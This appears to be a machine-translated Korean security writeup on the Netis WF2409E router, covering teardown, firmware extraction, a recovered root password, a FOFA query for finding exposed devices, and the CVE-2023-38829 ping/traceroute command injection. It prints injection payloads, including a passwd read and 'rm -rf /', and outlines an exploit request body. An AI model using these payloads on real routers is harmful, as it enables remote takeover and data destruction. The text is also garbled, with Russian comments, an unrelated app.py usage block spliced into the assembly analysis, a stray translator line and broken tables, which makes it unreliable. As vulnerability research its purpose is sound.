
NETIS WF2409E 라우터에 대한 완전한 하드웨어 보안 분석 연구입니다. 장치 분해 분석, 디버그 인터페이스 식별, 펌웨어 추출 등을 통해 하드웨어 분석의 전체 과정, 취약점 세부 사항 및 해당 보안 권장 사항을 기록하여 IoT 장치의 보안을 향상시키는 데 도움이 되기를 바랍니다.

| 카테고리 | 매개변수 | 설명 |
|---|---|---|
| 장치 정보 | 모델 | Netis WF2409E |
| 유형 | 300Mbps Wireless N Router | |
| 전원 | DC 9V/500mA | |
| 하드웨어 버전 | V1.8 | |
| PCB 버전 | PB-7189-M02G-20 | |
| 제조 날짜 | 2015-03-23 | |
| 제조 국가 | 중국 | |
| 네트워크 식별자 | 일련번호 | 2409EEU5B102714 V1.8 |
| MAC 주소 | W8D398DFB68 | |
| 기본 SSID | netis_BDFB68 | |
| 기본 비밀번호 | password | |
| 관리 주소 | http://netis.cc | |
| 하드웨어 인터페이스 | WAN 포트 | 1 (파란색 RJ45) |
| LAN 포트 | 4 (검은색 RJ45, LAN1-4) | |
| 안테나 | 외장 안테나 3개 | |
| 전원 커넥터 | DC 입력 (PWR) | |
| 기능 버튼 | Default | 공장 초기화 |
| WPS | WiFi 보안 설정 |



| 매개변수 | 사양 |
|---|---|
| 프로세서 모델 | RealTek RTL8196E |
| 아키텍처 | 16-bit |
| 클럭 주파수 | 380MHz |
| 컴파일 날짜 | 2014.09.29 |
| 매개변수 | 설명 |
|---|---|
| 부트로더 유형 | RealTek 독점 부트로더 |
| 커널 로드 주소 | 0x80500000 |
| 실행 시작 주소 | 0x80003440 |
| 서명 검색 범위 | 0x10000-0x170000 |
| 매개변수 | 값 |
|---|---|
| IP 주소 | 192.168.0.1 |
| 서브넷 마스크 | 255.255.255.0 |
| MAC 주소 | 04:8d:38:bd:fb:69 |
| 무선 인터페이스 | wlan0 (va0-va3, vxd 포함) |
| 매개변수 | 값 |
|---|---|
| 장치 모델 | netis WF2419E_RU |
| 펌웨어 버전 | V2.5.40200 |
| 펌웨어 날짜 | 2016.09.02 |
| BusyBox 버전 | v1.00-pre8 (2015.01.23) |
이 장치는 아마도 U-Boot를 사용하지 않는 것으로 보인다는 점이 중요합니다. 주요 특징:
---RealTek(RTL8196E)at 2014.09.29-19:16+0800 v1.0 [16bit](https://github.com/victorique-123/cve-2023-38829-netis-wf2409e_report/blob/HEAD/380MHz)
Bootloader 명령:
<RealTek> FLR 80000000 0 100 #Чтение из Flash DB 80000000 100 #Просмотр содержимого памяти



/dev/mtdblock1이 루트 디렉터리 /로 마운트됨none이 프로세스 파일 시스템 /proc으로 마운트됨tmpfs가 임시 파일 시스템 /var로 마운트됨루트 파일 시스템은 다음과 같이 구성됩니다:
/dev/mtdblock1이는 MTD 플래시 메모리를 저장 매체로 사용하며, 읽기 전용 및 squashfs 압축을 통해 시스템 파일이 보호되고 용량이 최적화되었음을 나타냅니다.
프로세스 파일 시스템은 다음과 같이 구성됩니다:
임시 파일 시스템은 다음과 같이 구성됩니다:


binwalk -E --save netis.bin


binwalk netis.bin


| 오프셋 | 섹션 헤더 |
|---|---|
| 0x12F0 | ![]() |
| 0x32818 | ![]() |

etc/passwd:
해시 복호화 서비스 https://hashes.com/en/decrypt/hash를 사용하여 root 비밀번호가 realtek으로 성공적으로 복구되었습니다.

web/welcome.htm:기본 웹 인터페이스 페이지입니다

web/welcome.htm:의 특성을 통해 FOFA에서 장치 검색:
검색 명령:
body="./images/logo_netis.png" && body="display:block; height:60px; float:left;"


장치 관리 패널에 접근하려면 로그인 및 비밀번호를 통한 인증이 필요할 수 있습니다

인증 성공 후 관리 패널에 로그인할 수 있습니다

먼저 ~/squashfs-root/web$ find 명령으로 접근 가능한 디렉터리를 찾았고, Burpsuit를 사용하여 해당 디렉터리의 접근성을 확인했습니다:| | Payload | Code | | Lenth |
| ------ | ------------------------------- | ------- | ----- | --------- |
| 1 | /cgi-bin | 200 | | 167 |
| 2 | /cgi-bin/cgitest.cgi | - | ERROR | - |
| 3 | /script | 200 | | 168 |
| 4 | /script/init.js | 200 | | 1282 |
| 5 | /script/logic.js | 200 | | 65677 |
| 6 | /script/menu.js | 200 | | 4976 |
| 7 | /script/netcore.js | 200 | | 151935 |
| 8 | /script/action.js | 200 | | 182624 |
| 9 | /script/debug.js | 200 | | 28570 |
| ==10== | ==/version.txt== | ==200== | | ==206== |
| ==11== | ==/update.htm== | ==200== | | ==1230== |
| 12 | /config | 200 | | 168 |
| 13 | /config/language_es.js | 200 | | 79333 |
| 14 | /config/language_it.js | 200 | | 76802 |
| 15 | /config/language_id.js | 200 | | 74795 |
| 16 | /config/language_du.js | 200 | | 78782 |
| 17 | /config/language_ma.js | 200 | | 73594 |
| 18 | /config/language_po.js | 200 | | 76458 |
| 19 | /config/language_tu.js | 200 | | 77747 |
| 20 | /config/language_fr.js | 200 | | 78165 |
| 21 | /config/language_ro.js | 200 | | 73621 |
| 22 | /config/language_cz.js | 200 | | 75968 |
| 23 | /config/language_ua.js | 200 | | 98335 |
| 24 | /config/language_us.js | 200 | | 84173 |
| 25 | /config/config.js | 200 | | 75899 |
| 26 | /config/language_ru.js | 200 | | 108998 |
| 27 | /config/language_de.js | 200 | | 78674 |
| 28 | /config/language_pt.js | 200 | | 77954 |
| 29 | /config/language_cn.js | 200 | | 62001 |
| 30 | /config/language_tc.js | 200 | | 74268 |
| 31 | /system_log.txt | 404 | | 330 |
| ==32== | ==/index.htm== | ==200== | | ==4336== |
| 33 | /css | 200 | | 167 |
| 34 | /css/style.css | 200 | | 5441 |
| 35 | /css/netcore.css | 200 | | 11536 |
| 36 | /css/welcome.css | 200 | | 6270 |
| 37 | /Config.tgz | 404 | | 326 |
| 38 | /images | 200 | | 168 |
| 39 | /images/first.png | 200 | | 838 |
| 40 | /images/icon_no.gif | 200 | | 240 |
| 41 | /images/top_right_bg.gif | 200 | | 222 |
| 42 | /images/logo_netis.png | 200 | | 7297 |
| 43 | /images/icon_jian.gif | 200 | | 239 |
| 44 | /images/show_pwd.png | 200 | | 1433 |
| 45 | /images/icon_no1.gif | 200 | | 498 |
| 46 | /images/nextt.png | 200 | | 1026 |
| 47 | /images/lastt.png | 200 | | 845 |
| 48 | /images/icon_intro_internet.gif | 200 | | 6994 |
| 49 | /images/help_b1.gif | 200 | | 540 |
| 50 | /images/high.gif | 200 | | 10846 |
| 51 | /images/yandex_en.png | 200 | | 3519 |
| 52 | /images/help_b1.jpg | 200 | | 620 |
| 53 | /images/back.gif | 200 | | 379 |
| 54 | /images/icon_intro_wireless.jpg | 200 | | 3838 |
| 55 | /images/icon_jian1.gif | 200 | | 490 |
| 56 | /images/left_021.jpg | 200 | | 558 |
| 57 | /images/edit.gif | 200 | | 365 |
| 58 | /images/pre.png | 200 | | 1029 |
| 59 | /images/btn_mobile_setup.jpg | 200 | | 3053 |
| 60 | /images/icon_now.gif | 200 | | 242 |
| 61 | /images/top_right_bg.jpg | 200 | | 223 |
| 62 | /images/bg_intro_bottom.png | 200 | | 3562 |
| 63 | /images/favicon.ico | 200 | | 4458 |
| 64 | /images/btn_quick_setup.jpg | 200 | | 4353 |
| 65 | /images/bg_intro_top.png | 200 | | 3605 |
| 66 | /images/mt-link.gif | 200 | | 5823 |
| 67 | /images/link.gif | 200 | | 1045 |
| 68 | /images/del.gif | 200 | | 313 |
| ==69== | ==/images/Makefile== | ==200== | | ==593== |
| 70 | /images/icon_jia1.gif | 200 | | 490 |
| 71 | /images/blue.jpg | 200 | | 2584 |
| 72 | /images/normal.gif | 200 | | 10818 |
| 73 | /images/yandex.png | 200 | | 2159 |
| 74 | /images/bg_leftmenu.gif | 200 | | 686 |
| 75 | /images/icon_jia.gif | 200 | | 252 |
| 76 | /images/icon_now1.gif | 200 | | 487 |
| ==77== | ==/welcome.htm== | ==200== | | ==30155== |
| ==78== | ==/index.html== | ==200== | | ==326== |
| 79 | /help | 200 | | 166 |
| ==80== | ==/backup.htm== | ==200== | | ==1304== |
잠재적 정보 위치:
확인 결과, ==/version.txt== 파일에서 다음 정보를 찾을 수 있습니다:

이 정보의 추출은 Python 스크립트를 통해 구현되었습니다:

현재 이 장치에서는 다음과 같은 취약점이 발견되었습니다. 그중 CVE-2023-38829은 NETIS SYSTEMS Router WF2409E 라우터의 네트워크 테스트 모듈에 존재하는 명령 삽입 취약점으로, ping 및 traceroute 기능에서 발생합니다. 웹 관리 인터페이스를 통해 이러한 기능의 매개변수에 악성 명령을 삽입하면 명령이 실행될 수 있습니다.
이 취약점의 존재를 확인하기 위해 라우터 관리 패널에 로그인하여 ping 및 traceroute 기능에서 취약점을 테스트했습니다.
여기서 cd && ls && cd etc/ && cat passwd 명령을 삽입하여 암호 파일의 내용을 출력했습니다.
아래는 명령 삽입 시 라우터 관리 패널의 출력으로, 취약점의 존재를 확인합니다.

발견된 명령 삽입 취약점에 대한 CVSS 3.1 분석:
기본 지표 평가:
영향 지표:


최종 평가: 9.2/10점이며 '치명적' 범주에 속합니다. CVSS-Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C
이처럼 높은 취약점 점수는 다음과 같은 이유로 인한 것입니다:
먼저 취약점이 있을 수 있는 파일을 찾아보겠습니다:
find . -name "*.cgi" ./web/cgi-bin/cgitest.cgi ./bin/cgitest.cgi
취약점이 CGI 프로그램에서 발생할 수 있다고 가정하여, 먼저 IDA Pro로 ./web/cgi-bin/cgitest.cgi 파일을 분석해 보겠습니다.
먼저 유사한 함수의 호출 위치를 찾아야 합니다. 검색을 통해 "killall ping" 문자열을 찾을 수 있었습니다.
호출 위치를 분석해 보면 프로그램이 ping 및 traceroute 함수를 초기화한 후 /bin/network_test.sh를 호출하는 것을 확인할 수 있습니다.

취약점이 존재하는 위치는 바로 네트워크 테스트 모듈입니다. 그럼 /bin/network_test.sh를 분석해야 합니다.
먼저 검색을 수행해야 합니다.

network_test_sh 함수를 찾습니다:
......

함수를 자세히 분석하면 명령 실행 및 결과 저장 모듈을 확인할 수 있습니다.

내용은 다음과 같습니다: ping 명령 실행: ping -c %d -s %d %s -W %d > %s &
traceroute 명령 실행: traceroute -I -m %d %s > %s &
loc_4205B8: lw v0, 0x108+var_D4(sp) #прямая загрузка параметров lw a3, 0x108+var_D8(sp) la t9, sprintf #прямой вызов sprintf #отсутствует проверка параметров перед sprintf
**사용 가능한 매개변수:**
| 매개변수 | 설명 |
|---|---|
| `-p`, `--port` | 웹 인터페이스가 실행될 포트 (기본값: `8080`) |
| `-H`, `--host` | 웹 인터페이스가 실행될 IP 주소 (기본값: `0.0.0.0`) |
| `-m`, `--mode` | 애플리케이션 작동 모드. 가능한 값: `api`, `web`, `proxy` (기본값: `web`) |
| `-c`, `--config` | 구성 파일 경로 (기본값: `config.yaml`) |
| `-v`, `--verbose` | 상세 로깅 활성화 |
**사용 예시:**
```bash
# Запуск веб-интерфейса на порту 9090
python app.py --port 9090
# Запуск в режиме API с пользовательской конфигурацией
python app.py --mode api --config /etc/myapp/config.yaml
중요: 애플리케이션이 올바르게 작동하려면 다음을 확인하세요:
requirements.txt의 모든 종속성이 설치되었는지참고: Docker를 사용하는 경우, 이미지는
ghcr.io/username/repository:latest에서 자동으로 로드됩니다```
loc_420574: la $t9, sprintf #также прямой вызов sprintf lw $a2, 0x108+var_D0($sp) #также отсутствует проверка параметров
입력된 원문이 없어 번역할 내용이 없습니다.```
# После построения команды происходит прямое выполнение
la $t9, run_by_system
jalr $t9 ; run_by_system #прямой вызов system для выполнения команды
move $a0, $s1 #отсутствуют проверки безопасности

코드에 입력 매개변수에 대한 충분한 검증이 없어 잠재적인 명령 주입 위험이 발생합니다. 공격자는 전달되는 IP 매개변수를 조작하여 shell 명령을 실행할 수 있습니다. 예를 들어:```
192.168.0.1; rm -rf / #удаление файлов 192.168.0.1 & id & #выполнение произвольных команд
## 11. 익스플로잇 스크립트
### 11.1. 스크립트 개요
이 스크립트는 특수 HTTP 요청을 생성하여 장치의 웹 인터페이스에 있는 명령 주입 취약점을 이용해 원격으로 명령을 실행합니다. 스크립트는 두 개의 HTTP POST 요청을 통해 취약점을 악용합니다. 첫 번째 요청은 명령을 주입하고, 두 번째 요청은 실행 결과를 가져옵니다.
첫 번째 패킷(netcore_set.cgi)의 용도: 명령 주입 및 실행

두 번째 패킷(netcore_get.cgi)의 용도: 명령 실행 결과 가져오기

### 11.2 첫 번째 단계: 명령 주입
1. 다음 핵심 매개변수로 POST 요청 본문을 구성합니다:```
{ "mode_name": "netcore_set",
"tools_type": "2",
"tools_ip_url": f"| {command}", # точка инъекции команды
"tools_cmd": "1",
"net_tools_set": "1" }
2. netcore_get.cgi에 요청 보내기
3. 명령 실행 결과를 얻기 위해 응답에서 tools_results 필드 파싱
### 11.4 스크립트 테스트
스크립트를 테스트하기 위해 호스트에 `ceshi` 파일을 만들고 스크립트를 통해 장치에 업로드를 시도했습니다

성공!
사실 이 취약점은 장치가 기본적으로 root 액세스를 사용하기 때문에 장치에 대한 완전한 제어를 얻을 수 있게 해줍니다
| 점검 항목 | 상태 | 비고 |
|---|
| 전원 표시등 | 정상 | 전원을 켜면 안정적으로 점등 |
| 네트워크 표시등 | 정상 | 연결 시 깜박임 |
| WAN 포트 상태 | 정상 | 네트워크 정상 연결 |
| LAN 포트 상태 | 정상 | 4개 포트 모두 작동 |
| WiFi 기능 | 정상 | 안테나 온전함, 신호 정상 |
| WPS 기능 | 정상 | 버튼 반응함 |
| 리셋 기능 | 정상 | Default 버튼 작동함 |
| № | 칩 모델 | 제조사 | 주요 기능 | 기술 사양 | 비고 |
|---|
| 1 | EM63A165TS-6G | EtronTech | 시스템 메모리 | - 용량 32Mbit - 주파수 166MHz - SDRAM 아키텍처 - TSOP-II 패키지 | - 데이터 임시 저장에 사용 - 메인 프로세서 연산 지원 |
| 2 | FR9886 61504 | 알 수 없음 | 전원 관리 | - SOIC-8 패키지 - 집적 회로 | - DC-DC - 전압 조절 담당 - 시스템 안정적 전원 공급 |
| 3 | RTL8196E | Realtek/RMC | 메인 프로세서 | - MIPS 아키텍처 - SoC 설계 - 대만에서 제조 | - 시스템 중앙 처리 장치 - 주요 연산 및 제어 담당 - 통합 네트워크 처리 |
| 4 | MX25L3206E | Macronix | 플래시 메모리 | - 용량 32Mb (4MB) - SPI 인터페이스 - SOIC 패키지 | - 시스템 펌웨어 저장 - 구성 데이터 저장 |
| 5 | RTL8192ER | Realtek/RMC | 무선 통신 | - WiFi 컨트롤러 - QFN 패키지 | - 무선 신호 처리 - WiFi 기능 지원 |
| 매개변수 | 값 | 16진수 값 |
|---|
| 칩 모델 | MX25L3205D | - |
| 전체 용량 | 4MB | 0x400000 |
| 블록 크기 | 64KB | 0x10000 |
| 섹터 크기 | 4KB | 0x1000 |
| 페이지 크기 | 256B | 0x100 |
| 서비스 이름 | 상태 | 비고 |
|---|
| DHCP 서버 | 실행 중 | 정상 |
| HTTP 서버 (Boa) | 실행 중 | 비정상 재시작 |
| IAPP | 실행 중 | IEEE 802.11f |
| MiniIGD | 실행 중 | v1.08.1 |
| mini_upnpd | 오류 | 파일을 찾을 수 없음 |
| telnetd | 오류 | 파일을 찾을 수 없음 |
| ota_init.sh | 오류 | 파일을 찾을 수 없음 |
| 명령 | 구문 | 기능 |
|---|
| HELP | ? | 도움말 표시 |
| DB/DW | DB/DW <адрес> <длина> | 메모리를 바이트/워드 단위로 읽기 |
| EB/EW | EB/EW <адрес> <значение> | 메모리에 바이트/워드 단위로 쓰기 |
| FLR | FLR | Flash에서 RAM으로 데이터 읽기 |
| FLW | FLW <dst_ROM><src_RAM> | RAM에서 Flash로 데이터 쓰기 |
| IPCONFIG | IPCONFIG <IP-адрес> | IP 주소 설정 |
| LOADADDR | LOADADDR <адрес> | 로드 주소 설정 |
| CMP | CMP | 메모리 데이터 비교 |
| J | J <адрес> | 실행 점프 |
| MDIOR/MDIOW | MDIOR/W [data] | PHY 레지스터 읽기/쓰기 |
| PHYR/PHYW | PHYR/W [data] | PHY 레지스터 읽기/쓰기 (대체 방법) |
| PORT1 | PORT1 | 포트 1 패치 테스트 |
| AUTOBURN | AUTOBURN 0/1 | 자동 플래싱 제어 |
| 명령 유형 | 사용 가능한 명령 |
|---|
| 기본 명령 | ., :, cd, help, exit |
| 실행 제어 | break, continue, eval, exec |
| 변수 연산 | export, read, readonly, set, shift |
| 프로세스 제어 | times, trap, wait |
| 권한 관리 | login, newgrp, umask |
| 카테고리 | 도구 | 기능 |
|---|
| 네트워크 도구 | iptables ip6tables brctl ifconfig | 방화벽 구성, IPv6 방화벽, 브리지 관리, 네트워크 인터페이스 설정 |
| 시스템 관리 | busybox ps kill mount | 기본 도구 모음, 프로세스 확인, 프로세스 관리, 파일 시스템 마운트 |
| VPN 통신 | pppd pptp l2tpd pptpctrl | PPP 데몬, PPTP 클라이언트, L2TP 데몬, PPTP 제어 |
| 무선 통신 관리 | iwcontrol iwpriv wlanapp.sh wps_init.sh | 무선 통신 제어, 무선 전용 명령, 무선 애플리케이션 관리, WPS 초기화 |
| 방화벽 스크립트 | firewall.sh firewall_ipv6.sh firewall_pptp.sh | 기본 방화벽, IPv6 방화벽, PPTP 방화벽 |
| DHCP/DNS | dhcpc.sh dhcpd.sh dnrd | DHCP 클라이언트, DHCP 서버, DNS 전달 |
| 웹 서비스 | boa webs cgitest.cgi | 웹 서버, 웹 관리, CGI 테스트 |
| 경로 | 정보 유형 | 설명 |
|---|
| /proc/cpuinfo | CPU 정보 | 프로세서 상세 정보 |
| /proc/meminfo | 메모리 정보 | 시스템 메모리 사용 현황 |
| /proc/mtd | 파티션 정보 | 플래시 메모리 파티션 |
| /proc/net/* | 네트워크 정보 | 네트워크 인터페이스 및 연결 상태 |
| /proc/sys/* | 시스템 매개변수 | 조정 가능한 시스템 매개변수 |
| /proc/version | 버전 정보 | 커널 버전 정보 |
| 구성 요소 | 설명 | 기술 사양 |
|---|
| RTL8196E | 메인 프로세서 | - MIPS 아키텍처 - SoC 설계 - 대만 제조 - 시스템 중앙 처리 장치 - 주요 연산 및 제어 담당 - 내장 네트워크 처리 기능 |
| EM63A165TS-6G | 시스템 메모리 | - 용량 32Mbit - 주파수 166MHz - SDRAM 아키텍처 - TSOP-II 패키지 - 시스템 데이터 임시 저장 - 메인 프로세서 연산 지원 |
| MX25L3206E | 플래시 메모리 | - 용량 32Mbit (4MB) - SPI 인터페이스 - SOIC 패키지 - 시스템 펌웨어 저장 - 구성 데이터 저장 |
| RTL8192ER | 무선 네트워크 | - WiFi 컨트롤러 - QFN 패키지 - 무선 신호 처리 - WiFi 지원 |
| FR9886 61504 | 전원 관리 | - SOIC-8 패키지 - 집적 회로 - DC-DC - 전압 조절 담당 - 시스템 안정적 전원 공급 |
| 파일 | 오프셋 (10진수) | 오프셋 (16진수) | 설명 | 추가 정보 |
|---|
| netis.bin | 4848 | 0x12F0 | LZMA 압축 데이터 | 사전 크기: 8388608바이트, 압축 해제 후 크기: 56464바이트; 압축 해제 후 내용 분석 필요 |
| netis.bin | 206872 | 0x32818 | LZMA 압축 데이터 | 사전 크기: 8388608바이트, 압축 해제 후 크기: 3278684바이트; 전체 Linux 2.6.30 커널 포함 |
| netis.bin | 1507328 | 0x170000 | SquashFS 파일 시스템 | 리틀 엔디안, gzip 압축, 크기: 2628241바이트 |
| 0x170000 |
![]() |
| Payload | Code | Lenth |
|---|
| ==10== | ==/version.txt== | ==200== | ==206== |
| ==11== | ==/update.htm== | ==200== | ==1230== |
| ==32== | ==/index.htm== | ==200== | ==4336== |
| ==69== | ==/images/Makefile== | ==200== | ==593== |
| ==77== | ==/welcome.htm== | ==200== | ==30155== |
| ==78== | ==/index.html== | ==200== | ==326== |
| ==80== | ==/backup.htm== | ==200== | ==1304== |
| 취약점 번호 | 취약점 유형 | 모델 | 버전 | 보고서/익스플로잇 |
|---|
| CVE-2023-42336 | sensitive information disclosure | Netis | wf2409e_firmware < 1.0.1.705 wf3409e < v4 | https://github.com/adhikara13/CVE/blob/main/netis_WF2409E/Root_Hard_Code.md |
| CVE-2023-38829 | remote code execution | Netis | wf2409e_firmware < 3.6.42541 wf3409e < - | https://github.com/adhikara13/CVE-2023-38829-NETIS-WF2409E |